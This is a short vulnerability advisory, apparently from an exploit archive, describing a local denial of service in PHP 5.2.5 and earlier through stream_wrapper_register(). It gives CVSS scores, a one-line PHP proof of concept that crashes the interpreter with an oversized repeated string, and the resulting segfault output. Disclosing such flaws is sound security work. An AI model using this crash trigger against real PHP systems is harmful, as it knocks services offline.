PHP <= 5.2.5 stream_wrapper_register() Denial of service

2007.11.15
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-20


CVSS Base Score: 2.1/10
Impact Subscore: 2.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Application: PHP <= 5.2.5 Web Site: http://php.net Platform: unix Bug: fonction: stream_wrapper_register() special condition: default php-memory-limit ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Greets 5) Credits =========== 1) Introduction =========== "PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML." ====== 2) Bug ====== stream_wrapper_register() is vulnerable to a denial of service ===== 3)Proof of concept ===== Proof of concept example : <?php stream_wrapper_register("hi",str_repeat("A",8477000));//let's make sure we trigger it ! ?> result: root@unsafebox:~/Desktop# php shot.php Erreur de segmentation (core dumped) root@unsafebox:~/Desktop# ======== 4)Greets ======== Benjilenoob, Ivanlef0u, la team soh, #futurezone, #soh ===== 5)Credits ===== laurent gaffi


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